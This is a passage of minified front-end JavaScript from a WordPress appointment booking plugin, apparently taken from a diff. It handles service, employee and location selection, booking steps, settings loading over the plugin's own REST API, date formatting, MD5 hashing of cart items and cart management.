item"}propertiesSchema(){return{category:{type:"string",default:""},serviceId:{type:"integer",default:0},employeeId:{type:"integer",default:0},locationId:{type:"integer",default:0}}}addListeners(){super.addListeners(),this.$form.on("submit",this.submitForm.bind(this)),this.$categoriesSelect.on("change",(e=>this.setProperty("category",e.target.value))),this.$servicesSelect.on("change",(e=>this.setProperty("serviceId",e.target.value))),this.$employeesSelect.on("change",(e=>this.setProperty("employeeId",e.target.value))),this.$locationsSelect.on("change",(e=>this.setProperty("locationId",e.target.value)))}isHiddenElementByProp(e){const t=e.attr("data-is-hidden");return void 0!==t&&"false"!==t}initCategoriesSelect(){if(0==this.$categoriesSelect.length)return;this.updateCategorySchema();let e=this.$categoriesSelect.val(),t=this.isHiddenElementByProp(this.$categoriesSelect);if(this.$categoriesSelect.attr("data-default")){const s=this.$categoriesSelect.attr("data-default");this.isValidCategoryBySchema(s)?e=s:t=!1}this.setProperty("category",e),this.renderCategorySelect(),t||(this.isHiddenStep=!1),this.$categories.toggleClass("mpa-hide",t)}initServicesSelect(){if(0==this.$servicesSelect.length)return;this.updateServiceSchema();let e=this.$servicesSelect.val(),t=this.isHiddenElementByProp(this.$servicesSelect);if(this.$servicesSelect.attr("data-default")){const s=j(this.$servicesSelect.attr("data-default"));this.isValidServiceBySchema(s)?e=s:t=!1}this.setProperty("serviceId",e),this.renderServiceSelect(),t||(this.isHiddenStep=!1),this.$services.toggleClass("mpa-hide",t)}initEmployeesSelect(){if(0==this.$employeesSelect.length)return;this.updateEmployeeSchema();let e=this.$employeesSelect.val(),t=this.isHiddenElementByProp(this.$employeesSelect);if(this.$employeesSelect.attr("data-default")){const s=j(this.$employeesSelect.attr("data-default"));this.isValidEmployeeBySchema(s)?e=s:t=!1}this.setProperty("employeeId",e),this.renderEmployeeSelect(),t||(this.isHiddenStep=!1),this.$employees.toggleClass("mpa-hide",t)}initLocationsSelect(){if(0==this.$locationsSelect.length)return;this.updateLocationSchema();let e=this.$locationsSelect.val(),t=this.isHiddenElementByProp(this.$locationsSelect);if(this.$locationsSelect.attr("data-default")){const s=j(this.$locationsSelect.attr("data-default"));this.isValidLocationBySchema(s)?e=s:t=!1}this.setProperty("locationId",e),this.renderLocationSelect(),t||(this.isHiddenStep=!1),this.$locations.toggleClass("mpa-hide",t)}loadEntities(){return this.availabilityService.ready().finally((()=>(this.initServicesSelect(),this.initCategoriesSelect(),this.initEmployeesSelect(),this.initLocationsSelect(),this)))}reset(){let e={category:this.$categoriesSelect,serviceId:this.$servicesSelect,employeeId:this.$employeesSelect,locationId:this.$locationsSelect};this.preventReact=!0;for(let t in e){let s=e[t].attr("data-default");s?this.setProperty(t,s):this.resetProperty(t)}this.preventReact=!1,this.isActive&&this.react()}isValidInput(){return 0!=this.serviceId}updateCategorySchema(){const e=this.availabilityService.getAvailableServiceCategories();this.schema.category.options=Object.keys(e)}updateServiceSchema(){const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.schema.serviceId.options=Object.keys(e).map(j)}updateEmployeeSchema(){const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId);this.schema.employeeId.options=Object.keys(e).map(j)}updateLocationSchema(){const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId);this.schema.locationId.options=Object.keys(e).map(j)}isValidCategoryBySchema(e){return this.schema.category.options.includes(e)}isValidServiceBySchema(e){return this.schema.serviceId.options.includes(e)}isValidLocationBySchema(e){return this.schema.locationId.options.includes(e)}isValidEmployeeBySchema(e){return this.schema.employeeId.options.includes(e)}afterUpdate(e,t,s){if(this.updateCategorySchema(),this.updateServiceSchema(),this.updateEmployeeSchema(),this.updateLocationSchema(),"category"===e){let e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.serviceId in e||(this.resetProperty("serviceId"),this.resetProperty("employeeId"),this.resetProperty("locationId"))}}react(){super.react(),this.$categoriesSelect.val(this.category||""),this.$servicesSelect.val(this.serviceId||""),this.$employeesSelect.val(this.employeeId),this.$locationsSelect.val(this.locationId),this.$categoriesSelect.toggleClass("mpa-selected",""!=this.category),this.$servicesSelect.toggleClass("mpa-selected",0!=this.serviceId),this.$employeesSelect.toggleClass("mpa-selected",0!=this.employeeId),this.$locationsSelect.toggleClass("mpa-selected",0!=this.locationId),this.renderCategorySelect(),this.renderServiceSelect(),this.renderEmployeeSelect(),this.renderLocationSelect(),this.$buttonNext.prop("disabled",!1)}renderCategorySelect(){this.preventUpdate=!0;const e=Object.values(this.availabilityService.getServiceCategoriesTree()),t=this.availabilityService.categoryIndexes.map(String);let s;const i=parseInt(this.serviceId,10);if(i>0){const t=this.availabilityService.getServiceCategories(i);s=ne(re(e,Object.keys(t)))}else s=null;const a=oe(e,t,s),r=this.category||"";Ce(this.$categoriesSelect,{"":this.unselectedOptionText},a,r),this.preventUpdate=!1}renderServiceSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId),t=this.availabilityService.serviceIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.serviceId?"":String(this.serviceId);Ce(this.$servicesSelect,{"":this.unselectedServiceText},t,s),this.preventUpdate=!1}renderEmployeeSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId),t=this.availabilityService.employeeIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.employeeId?"0":String(this.employeeId);Ce(this.$employeesSelect,{0:this.unselectedOptionText},t,s),this.preventUpdate=!1}renderLocationSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId),t=this.availabilityService.locationIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.locationId?"0":String(this.locationId);Ce(this.$locationsSelect,{0:this.unselectedOptionText},t,s),this.preventUpdate=!1}show(){this.$servicesSelect.prop("required",!0),super.show()}hide(){super.hide(),this.$servicesSelect.prop("required",!1)}enable(){super.enable(),this.$selects.prop("disabled",!1)}disable(){super.disable(),this.$selects.prop("disabled",!0)}submitForm(e){this.isActive&&!this.isValidInput()||e.preventDefault()}maybeSubmit(){let e=this.cart.getActiveItem();if(null===e)return console.error("Unable to get active cart item in StepServiceForm.maybeSubmit().");if(e.setService(this.availabilityService.getService(this.serviceId,!0,(()=>{document.dispatchEvent(new CustomEvent("mpa_view_item",{detail:{cartItem:e,currencyCode:m().settings().getCurrency()}}))}))),e.setServiceCategories(this.availabilityService.getServiceCategories(this.serviceId)),0!==this.employeeId?e.setEmployee(this.availabilityService.getEmployee(this.employeeId)):e.setAvailableEmployees(this.availabilityService.filterAvailableEmployees(this.serviceId,this.locationId,"entities")),0!==this.locationId)e.setLocation(this.availabilityService.getLocation(this.locationId));else{let t=this.employeeId||e.getAvailableEmployeeIds();e.setAvailableLocations(this.availabilityService.filterAvailableLocations(this.serviceId,t,"entities"))}}}class Qe{constructor(e){this.$element=e,this.$message=this.$element.children(".mpa-message"),this.cart=new L,this.steps=new ce(this.cart),this.load()}setupSteps(){this.steps.addStep(new ze(this.$element.find(".mpa-booking-step-service-form"),this.cart)).addStep(new Ge(this.$element.find(".mpa-booking-step-period"),this.cart)).addStep(new $e(this.$element.find(".mpa-booking-step-cart"),this.cart)).addStep(new De(this.$element.find(".mpa-booking-step-checkout"),this.cart)),m().settings().isPaymentsEnabled()&&this.steps.addStep(new We(this.$element.find(".mpa-booking-step-payment"),this.cart)),this.steps.addStep(new ue(this.$element.find(".mpa-booking-step-booking"),this.cart)),this.steps.mount(this.$element)}load(){this.cart.createItem();let e=new he;Promise.all([e.load(),m().settings().ready()]).finally((()=>{this.setupSteps(),this.steps.getStep("service-form").setAvailabilityService(e),this.steps.getStep("period").setAvailabilityService(e),this.show(),e.isEmpty()?(this.$message.html(u("Sorry, there are no services, employees or locations to book.","motopress-appointment")),this.$message.removeClass("mpa-hide")):this.steps.goToNextStep()}))}show(){this.$element.addClass("mpa-loaded")}}jQuery(window).on("load",(()=>{window.elementorFrontend.isEditMode()&&window.elementorFrontend.elements.$window.on("elementor/frontend/init",(()=>{window.elementorFrontend.hooks.addAction("frontend/element_ready/appointment-form.default",(e=>{const t=e.find(".appointment-form-shortcode");new Qe(t)}))}))}))}(wp.date,mpaData,intlTelInput)}();
+!function(){"use strict";!function(e,t,s){function i(e){return e.filter(((e,t,s)=>s.indexOf(e)===t))}function a(e,t){return e.filter((e=>-1!=t.indexOf(e)))}function r(e,t){let s=Math.min(e.length,t.length),i={};for(let a=0;a<s;a++)i[e[a]]=t[a];return i}function n(e,t,s=1){let i=s||1,a=Math.abs(Math.floor((t-e)/i))+1;return[...Array(a).keys()].map((t=>t*s+e))}let o="/motopress/appointment/v1";function l(e,t={},s="GET"){return new Promise(((i,a)=>{wp.apiRequest({path:o+e,type:s,data:t}).done((e=>i(e))).fail(((e,t)=>{let s="parsererror";s=e.responseJSON&&e.responseJSON.message?e.responseJSON.message:`Status: ${t}`,"parsererror"==s&&(s="REST request failed. Maybe PHP error on the server side. Check PHP logs."),a(new Error(s))}))}))}function h(e,t={}){return l(e,t,"GET")}function c(e,t){return l(e,t,"POST")}class p{constructor(){this.settings=this.getDefaults(),this.loadingPromise=this.load()}getDefaults(){return{plugin_name:"Appointment Booking",today:"2030-01-01",business_name:"",default_time_step:30,default_booking_status:"confirmed",confirmation_mode:"auto",terms_page_id_for_acceptance:0,allow_multibooking:!1,allow_coupons:!1,allow_customer_account_creation:!1,country:"",currency:"EUR",currency_symbol:"&euro;",currency_position:"before",decimal_separator:".",thousand_separator:",",number_of_decimals:2,timezone:"UTC",date_format:"F j, Y",time_format:"H:i",week_starts_on:0,thumbnail_size:{width:150,height:150},flatpickr_locale:"en",enable_payments:!1,active_gateways:[],reservation_received_page_url:"",failed_transaction_page_url:"",default_payment_gateway:""}}load(){return new Promise(((e,t)=>{h("/settings").then((e=>this.settings=e),(e=>console.error("Unable to load public settings.",e))).finally((()=>e(this.settings)))}))}ready(){return this.loadingPromise}getPluginName(){return this.settings.plugin_name}getBusinessDate(){return this.settings.today}getBusinessName(){return this.settings.business_name}getTimeStep(){return this.settings.default_time_step}getDefaultBookingStatus(){return this.settings.default_booking_status}getConfirmationMode(){return this.settings.confirmation_mode}getTermsPageIdForAcceptance(){return this.settings.terms_page_id_for_acceptance}isMultibookingEnabled(){return this.settings.allow_multibooking}isCouponsEnabled(){return this.settings.allow_coupons}isAllowCustomerAccountCreation(){return this.settings.allow_customer_account_creation}getCountry(){return this.settings.country}getCurrency(){return this.settings.currency}getCurrencySymbol(){return this.settings.currency_symbol}getCurrencyPosition(){return this.settings.currency_position}getDecimalSeparator(){return this.settings.decimal_separator}getThousandSeparator(){return this.settings.thousand_separator}getDecimalsCount(){return this.settings.number_of_decimals}getTimezone(){return this.settings.timezone}getDateFormat(){return this.settings.date_format}getTimeFormat(){return this.settings.time_format}getFirstDayOfWeek(){return this.settings.week_starts_on}getThumbnailSize(){return this.settings.thumbnail_size}getFlatpickrLocale(){return this.settings.flatpickr_locale}isPaymentsEnabled(){return this.settings.enable_payments}getActiveGateways(){return this.settings.active_gateways}getReservationReceivedPageUrl(){return this.settings.reservation_received_page_url}getFailedTransactionPageUrl(){return this.settings.failed_transaction_page_url}getDefaultPaymentGateway(){return this.settings.default_payment_gateway}}class d{constructor(){this.settingsCtrl=new p,this.loadingPromise=this.load()}load(){return Promise.all([this.settingsCtrl.ready()]).then((()=>this))}ready(){return this.loadingPromise}settings(){return this.settingsCtrl}static getInstance(){return null==d.instance&&(d.instance=new d),d.instance}}function m(){return d.getInstance()}const u="undefined"!=typeof wp&&wp.i18n&&wp.i18n.__?wp.i18n.__:(e,t="")=>e,g="undefined"!=typeof wp&&wp.i18n&&wp.i18n._x?wp.i18n._x:(e,t,s="")=>e;"undefined"!=typeof wp&&wp.i18n&&wp.i18n.sprintf&&wp.i18n.sprintf;const y={weekdays:{shorthand:[u("Sun","motopress-appointment"),u("Mon","motopress-appointment"),u("Tue","motopress-appointment"),u("Wed","motopress-appointment"),u("Thu","motopress-appointment"),u("Fri","motopress-appointment"),u("Sat","motopress-appointment")],longhand:[u("Sunday","motopress-appointment"),u("Monday","motopress-appointment"),u("Tuesday","motopress-appointment"),u("Wednesday","motopress-appointment"),u("Thursday","motopress-appointment"),u("Friday","motopress-appointment"),u("Saturday","motopress-appointment")]},months:{shorthand:[u("Jan","motopress-appointment"),u("Feb","motopress-appointment"),u("Mar","motopress-appointment"),u("Apr","motopress-appointment"),g("May","Month (short)","motopress-appointment"),u("Jun","motopress-appointment"),u("Jul","motopress-appointment"),u("Aug","motopress-appointment"),u("Sep","motopress-appointment"),u("Oct","motopress-appointment"),u("Nov","motopress-appointment"),u("Dec","motopress-appointment")],longhand:[u("January","motopress-appointment"),u("February","motopress-appointment"),u("March","motopress-appointment"),u("April","motopress-appointment"),g("May","Month","motopress-appointment"),u("June","motopress-appointment"),u("July","motopress-appointment"),u("August","motopress-appointment"),u("September","motopress-appointment"),u("October","motopress-appointment"),u("November","motopress-appointment"),u("December","motopress-appointment")]},amPM:["AM","PM"],firstDayOfWeek:m().settings().getFirstDayOfWeek()};function f(t,s="public"){if("string"==typeof t)return t;if("internal"==s)return f(t,"Y-m-d");if("public"==s)return e.format(m().settings().getDateFormat(),t);let i=(e,t=2)=>("00"+e).slice(-t),a=!1;return s.split("").map((e=>{if(a)return a=!1,e;switch(e){case"\\":return a=!0,"";case"j":return t.getDate();case"d":return i(t.getDate());case"D":return y.weekdays.shorthand[t.getDay()];case"l":return y.weekdays.longhand[t.getDay()];case"N":return t.getDay()||7;case"w":return t.getDay();case"z":let s=new Date(t.getFullYear(),0,1),r=s.getTimezoneOffset()-t.getTimezoneOffset(),n=t-s+60*r*1e3,o=864e5;return Math.floor(n/o);case"W":let l=new Date(Date.UTC(t.getFullYear(),t.getMonth(),t.getDate())),h=l.getUTCDay()||7;l.setUTCDate(l.getUTCDate()+4-h);let c=new Date(Date.UTC(l.getUTCFullYear(),0,1)),p=864e5;return Math.ceil(((l-c)/p+1)/7);case"F":return y.months.longhand[t.getMonth()];case"M":return y.months.shorthand[t.getMonth()];case"m":return i(t.getMonth()+1);case"n":return t.getMonth()+1;case"t":return new Date(t.getFullYear(),t.getMonth()+1,0).getDate();case"Y":return t.getFullYear();case"y":return String(t.getFullYear()).substring(2);case"L":return t.getFullYear()%4==0?1:0;case"A":return y.amPM[t.getHours()>11?1:0];case"a":return y.amPM[t.getHours()>11?1:0].toLowerCase();case"H":return i(t.getHours());case"h":return i(t.getHours()%12||12);case"G":return t.getHours();case"g":return t.getHours()%12||12;case"i":return i(t.getMinutes());case"s":return i(t.getSeconds());case"v":return i(t.getMilliseconds(),3);case"u":return i(t.getMilliseconds(),3)+"000";case"O":case"P":let d=-t.getTimezoneOffset(),m=d>=0?"+":"-",u=Math.floor(Math.abs(d)/60),g=Math.abs(d)%60,b="O"==e?"":":";return m+i(u)+b+i(g);case"Z":return 60*t.getTimezoneOffset();case"U":return Math.floor(t.getTime()/1e3);case"c":return f(t,"Y-m-d\\TH:i:sP");case"r":return f(t,"D, d M Y H:i:s O");case"S":case"o":case"B":case"e":case"T":case"I":return"";default:return e}})).join("")}function b(e){let t=e.match(/(\d{4})-(\d{2})-(\d{2})/);if(null!=t){let e=parseInt(t[1]),s=parseInt(t[2]),i=parseInt(t[3]);return new Date(e,s-1,i)}return null}function v(){let e=new Date;return e.setHours(0,0,0,0),e}function _(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var S,P,w={exports:{}},C={exports:{}};S="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",P={rotl:function(e,t){return e<<t|e>>>32-t},rotr:function(e,t){return e<<32-t|e>>>t},endian:function(e){if(e.constructor==Number)return 16711935&P.rotl(e,8)|4278255360&P.rotl(e,24);for(var t=0;t<e.length;t++)e[t]=P.endian(e[t]);return e},randomBytes:function(e){for(var t=[];e>0;e--)t.push(Math.floor(256*Math.random()));return t},bytesToWords:function(e){for(var t=[],s=0,i=0;s<e.length;s++,i+=8)t[i>>>5]|=e[s]<<24-i%32;return t},wordsToBytes:function(e){for(var t=[],s=0;s<32*e.length;s+=8)t.push(e[s>>>5]>>>24-s%32&255);return t},bytesToHex:function(e){for(var t=[],s=0;s<e.length;s++)t.push((e[s]>>>4).toString(16)),t.push((15&e[s]).toString(16));return t.join("")},hexToBytes:function(e){for(var t=[],s=0;s<e.length;s+=2)t.push(parseInt(e.substr(s,2),16));return t},bytesToBase64:function(e){for(var t=[],s=0;s<e.length;s+=3)for(var i=e[s]<<16|e[s+1]<<8|e[s+2],a=0;a<4;a++)8*s+6*a<=8*e.length?t.push(S.charAt(i>>>6*(3-a)&63)):t.push("=");return t.join("")},base64ToBytes:function(e){e=e.replace(/[^A-Z0-9+\/]/gi,"");for(var t=[],s=0,i=0;s<e.length;i=++s%4)0!=i&&t.push((S.indexOf(e.charAt(s-1))&Math.pow(2,-2*i+8)-1)<<2*i|S.indexOf(e.charAt(s))>>>6-2*i);return t}},C.exports=P;var k=C.exports,$={utf8:{stringToBytes:function(e){return $.bin.stringToBytes(unescape(encodeURIComponent(e)))},bytesToString:function(e){return decodeURIComponent(escape($.bin.bytesToString(e)))}},bin:{stringToBytes:function(e){for(var t=[],s=0;s<e.length;s++)t.push(255&e.charCodeAt(s));return t},bytesToString:function(e){for(var t=[],s=0;s<e.length;s++)t.push(String.fromCharCode(e[s]));return t.join("")}}},T=$,I=function(e){return null!=e&&(D(e)||function(e){return"function"==typeof e.readFloatLE&&"function"==typeof e.slice&&D(e.slice(0,0))}(e)||!!e._isBuffer)};function D(e){return!!e.constructor&&"function"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}!function(){var e=k,t=T.utf8,s=I,i=T.bin,a=function(r,n){r.constructor==String?r=n&&"binary"===n.encoding?i.stringToBytes(r):t.stringToBytes(r):s(r)?r=Array.prototype.slice.call(r,0):Array.isArray(r)||r.constructor===Uint8Array||(r=r.toString());for(var o=e.bytesToWords(r),l=8*r.length,h=1732584193,c=-271733879,p=-1732584194,d=271733878,m=0;m<o.length;m++)o[m]=16711935&(o[m]<<8|o[m]>>>24)|4278255360&(o[m]<<24|o[m]>>>8);o[l>>>5]|=128<<l%32,o[14+(l+64>>>9<<4)]=l;var u=a._ff,g=a._gg,y=a._hh,f=a._ii;for(m=0;m<o.length;m+=16){var b=h,v=c,_=p,S=d;h=u(h,c,p,d,o[m+0],7,-680876936),d=u(d,h,c,p,o[m+1],12,-389564586),p=u(p,d,h,c,o[m+2],17,606105819),c=u(c,p,d,h,o[m+3],22,-1044525330),h=u(h,c,p,d,o[m+4],7,-176418897),d=u(d,h,c,p,o[m+5],12,1200080426),p=u(p,d,h,c,o[m+6],17,-1473231341),c=u(c,p,d,h,o[m+7],22,-45705983),h=u(h,c,p,d,o[m+8],7,1770035416),d=u(d,h,c,p,o[m+9],12,-1958414417),p=u(p,d,h,c,o[m+10],17,-42063),c=u(c,p,d,h,o[m+11],22,-1990404162),h=u(h,c,p,d,o[m+12],7,1804603682),d=u(d,h,c,p,o[m+13],12,-40341101),p=u(p,d,h,c,o[m+14],17,-1502002290),h=g(h,c=u(c,p,d,h,o[m+15],22,1236535329),p,d,o[m+1],5,-165796510),d=g(d,h,c,p,o[m+6],9,-1069501632),p=g(p,d,h,c,o[m+11],14,643717713),c=g(c,p,d,h,o[m+0],20,-373897302),h=g(h,c,p,d,o[m+5],5,-701558691),d=g(d,h,c,p,o[m+10],9,38016083),p=g(p,d,h,c,o[m+15],14,-660478335),c=g(c,p,d,h,o[m+4],20,-405537848),h=g(h,c,p,d,o[m+9],5,568446438),d=g(d,h,c,p,o[m+14],9,-1019803690),p=g(p,d,h,c,o[m+3],14,-187363961),c=g(c,p,d,h,o[m+8],20,1163531501),h=g(h,c,p,d,o[m+13],5,-1444681467),d=g(d,h,c,p,o[m+2],9,-51403784),p=g(p,d,h,c,o[m+7],14,1735328473),h=y(h,c=g(c,p,d,h,o[m+12],20,-1926607734),p,d,o[m+5],4,-378558),d=y(d,h,c,p,o[m+8],11,-2022574463),p=y(p,d,h,c,o[m+11],16,1839030562),c=y(c,p,d,h,o[m+14],23,-35309556),h=y(h,c,p,d,o[m+1],4,-1530992060),d=y(d,h,c,p,o[m+4],11,1272893353),p=y(p,d,h,c,o[m+7],16,-155497632),c=y(c,p,d,h,o[m+10],23,-1094730640),h=y(h,c,p,d,o[m+13],4,681279174),d=y(d,h,c,p,o[m+0],11,-358537222),p=y(p,d,h,c,o[m+3],16,-722521979),c=y(c,p,d,h,o[m+6],23,76029189),h=y(h,c,p,d,o[m+9],4,-640364487),d=y(d,h,c,p,o[m+12],11,-421815835),p=y(p,d,h,c,o[m+15],16,530742520),h=f(h,c=y(c,p,d,h,o[m+2],23,-995338651),p,d,o[m+0],6,-198630844),d=f(d,h,c,p,o[m+7],10,1126891415),p=f(p,d,h,c,o[m+14],15,-1416354905),c=f(c,p,d,h,o[m+5],21,-57434055),h=f(h,c,p,d,o[m+12],6,1700485571),d=f(d,h,c,p,o[m+3],10,-1894986606),p=f(p,d,h,c,o[m+10],15,-1051523),c=f(c,p,d,h,o[m+1],21,-2054922799),h=f(h,c,p,d,o[m+8],6,1873313359),d=f(d,h,c,p,o[m+15],10,-30611744),p=f(p,d,h,c,o[m+6],15,-1560198380),c=f(c,p,d,h,o[m+13],21,1309151649),h=f(h,c,p,d,o[m+4],6,-145523070),d=f(d,h,c,p,o[m+11],10,-1120210379),p=f(p,d,h,c,o[m+2],15,718787259),c=f(c,p,d,h,o[m+9],21,-343485551),h=h+b>>>0,c=c+v>>>0,p=p+_>>>0,d=d+S>>>0}return e.endian([h,c,p,d])};a._ff=function(e,t,s,i,a,r,n){var o=e+(t&s|~t&i)+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._gg=function(e,t,s,i,a,r,n){var o=e+(t&i|s&~i)+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._hh=function(e,t,s,i,a,r,n){var o=e+(t^s^i)+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._ii=function(e,t,s,i,a,r,n){var o=e+(s^(t|~i))+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._blocksize=16,a._digestsize=16,w.exports=function(t,s){if(null==t)throw new Error("Illegal argument "+t);var r=e.wordsToBytes(a(t,s));return s&&s.asBytes?r:s&&s.asString?i.bytesToString(r):e.bytesToHex(r)}}();var E=_(w.exports);class A{setupProperties(){this.itemId="",this.service=null,this.serviceCategories={},this.employee=null,this.location=null,this.date=null,this.time=null,this.capacity=1,this.availableEmployees=[],this.availableLocations=[],this.bookingVariants=[]}constructor(e){this.setupProperties(),this.itemId=e}getDate(){return this.date}getTime(){return this.time}getItemId(){return this.itemId}getAvailableEmployeeIds(){return this.availableEmployees.map((e=>e.id))}getAvailableLocationIds(){return this.availableLocations.map((e=>e.id))}getAvailableIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,employee_ids:this.getAvailableEmployeeIds(),location_ids:this.getAvailableLocationIds()}}getIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,location_id:null!==this.location?this.location.id:0}}toArray(e="all"){return"ids"===e?this.getIds():"availability"===e?this.getAvailableIds():"period"===e?{date:null!==this.date?f(this.date,"internal"):"",time:null!==this.time?this.time.toString("internal"):""}:jQuery.extend(this.getIds(),{date:null!==this.date?f(this.date,"internal"):"",time:null!==this.time?this.time.toString("internal"):"",capacity:this.capacity})}isSet(e="all"){let t=!0;return"all"!==e&&"ids"!==e||(t=t&&null!==this.service&&null!==this.employee&&null!==this.location),"all"!==e&&"period"!==e||(t=t&&null!==this.date&&null!==this.time),t}isAtTime(e,t){return null!==this.date&&null!==this.time&&f(this.date,"internal")==f(e,"internal")&&this.time.toString("internal")==t.toString("internal")}getCapacity(){return this.capacity}getMinCapacity(){return null!==this.service?this.service.getMinCapacity(this.getEmployeeId()):1}getMaxCapacity(){return null!==this.service?this.service.getMaxCapacity(this.getEmployeeId()):1}getMinPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMaxCapacity();for(let t of this.bookingVariants)e=Math.min(e,t.minCapacity);return e}}getMaxPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMinCapacity();for(let t of this.bookingVariants)e=Math.max(e,t.maxCapacity);return e}}getCapacityOptions(){if(null===this.service)return[1];{let e=[];for(let t of this.bookingVariants)e=e.concat(n(t.minCapacity,t.maxCapacity));return i(e)}}getPrice(){if(!this.service)return 0;let e=this.employee?this.employee.id:0;return this.service.getPrice(e,this.capacity)}getDeposit(e){let t=0;switch(this.service.depositType){case"disabled":default:t=e;break;case"fixed":t=this.service.depositAmount;break;case"percentage":t=e*this.service.depositAmount/100}return t>e?e:t}getHash(e="all"){return E(JSON.stringify(this.toArray(e)))}didChange(e,t="all"){return e!==this.getHash(t)}getEmployeeId(){return this.employee?this.employee.getId():0}getEmployee(e){if(null!==this.employee&&this.employee.getId()==e)return this.employee;for(let t of this.availableEmployees)if(t.id==e)return t;return null}getLocationId(){return this.location?this.location.getId():0}getLocation(e){if(null!==this.location&&this.location.id==e)return this.location;for(let t of this.availableLocations)if(t.id==e)return t;return null}getService(){return this.service}hasMultipleAvailableEmployees(){return this.availableEmployees.length>1}hasMultipleAvailableLocations(){return this.availableLocations.length>1}hasMultipleAvailableVariants(){return this.hasMultipleAvailableEmployees()||this.hasMultipleAvailableLocations()}setService(e){this.service=e}setServiceCategories(e){this.serviceCategories=e}setEmployee(e,t=!0){"number"==typeof e&&(e=this.getEmployee(e)),this.employee=e,!0===t&&(this.availableEmployees=[e])}setAvailableEmployees(e,t=!0){this.availableEmployees=e,!0===t&&(this.employee=null)}setLocation(e,t=!0){"number"==typeof e&&(e=this.getLocation(e)),this.location=e,!0===t&&(this.availableLocations=[e])}setAvailableLocations(e,t=!0){this.availableLocations=e,!0===t&&(this.location=null)}setCapacity(e){this.capacity=e}setBookingVariants(e){this.bookingVariants=[];for(let t of e)this.bookingVariants.push({employeeId:t[0],locationId:t[1],minCapacity:t[2],maxCapacity:t[3]})}getBookingVariantForCapacity(e){for(let t of this.bookingVariants)if(e>=t.minCapacity&&e<=t.maxCapacity)return t;return{employeeId:this.getEmployeeId(),locationId:this.getLocationId(),minCapacity:this.getMinCapacity(),maxCapacity:this.getMaxCapacity()}}removeBookingVariatForEmployee(e){for(let t in this.bookingVariants){this.bookingVariants[t].employeeId==e&&this.bookingVariants.splice(t,1)}}}let M=class{constructor(e=null){this.setupProperties(),null!=e&&this.merge(e)}setupProperties(){this.keys=[],this.values={},this.length=0}merge(e){for(let t in e)this.push(t,e[t])}push(e,t){let s=!this.includesKey(e);return this.values[e]=t,s&&(this.keys.push(e),this.length++),s}find(e,t=null){return this.includesKey(e)?this.values[e]:t}findNext(e,t=null){let s=this.findNextKey(e);return""!==s?this.values[s]:t}findNextKey(e){let t=this.keys.indexOf(e);if(-1===t)return"";let s=t+1;return s<this.length?this.keys[s]:this.keys[t]}findPrevious(e,t=null){let s=this.findPreviousKey(e);return""!==s?this.values[s]:t}findPreviousKey(e){let t=this.keys.indexOf(e);if(-1===t)return"";let s=t-1;return s>=0?this.keys[s]:this.keys[t]}update(e,t){return this.push(e,t)}remove(e){if(!this.includesKey(e))return null;let t=this.values[e];delete this.values[e];let s=this.keys.indexOf(e);return this.keys.splice(s,1),this.length--,t}empty(){return this.keys=[],this.values={},this.length=0,this}isEmpty(){return 0==this.length}includesKey(e){return e in this.values}firstKey(){return this.keys.length>0?this.keys[0]:null}firstValue(){let e=this.firstKey();return null!==e?this.values[e]:null}lastValue(){let e=this.lastKey();return null!=e?this.values[e]:null}lastKey(){return this.isEmpty()?null:this.keys[this.length-1]}cloneKeys(){return[...this.keys]}getColumn(e){let t=[];for(let s of this.keys){let i=this.values[s][e];null!=i&&(Array.isArray(i)?t=t.concat(i):t.push(i))}return i(t)}forEach(e){let t=0;for(let s of this.keys){let i=e(this.values[s],t,s,this);if(t++,!1===i)break}}map(e){let t=[],s=0;for(let i of this.keys)t.push(e(this.values[i],s,i,this)),s++;return t}toArray(){let e=[];for(let t of this.keys)e.push(this.values[t]);return e}getLength(){return this.length}},x={};function F(e,t=!1){return"object"==typeof e?0==function(e,t=!1){return"object"==typeof e?Array.isArray(e)?e.length:Object.keys(e).length:t?0:1}(e):!!t||!e}function B(e="",t=!1){let s=function(e,t){return t<(e=parseInt(e,10).toString(16)).length?e.slice(e.length-t):t>e.length?Array(t-e.length+1).join("0")+e:e};x.uniqid_seed||(x.uniqid_seed=Math.floor(123456789*Math.random())),x.uniqid_seed++;let i=e;return i+=s(parseInt((new Date).getTime()/1e3,10),8),i+=s(x.uniqid_seed,5),t&&(i+=(10*Math.random()).toFixed(8).toString()),i}class L{setupProperties(){var e;this.items=new M,this.activeItem=null,this.customerDetails={name:"",email:"",phone:""},this.paymentDetails={booking_id:0,gateway_id:"none"},this.coupon=null,this.bookingNonce=null!==(e=mpaData?.nonces?.mpa_create_booking)&&void 0!==e?e:""}constructor(){this.setupProperties()}createItem(e=""){e||(e=B());let t=new A(e);return this.items.push(e,t),this.activeItem=t,t}getItem(e){return this.items.find(e)}getActiveItem(){return this.activeItem}getActiveItemId(){return null!==this.activeItem?this.activeItem.getItemId():""}getItems(){return this.items}getItemsCount(){return this.items.getLength()}setActiveItem(e){this.activeItem="string"==typeof e?this.getItem(e):e}removeItem(e){"string"==typeof e?this.items.remove(e):this.items.remove(e.getItemId())}isEmpty(){return 0===this.getItemsCount()}getProducts(){let e=[];return 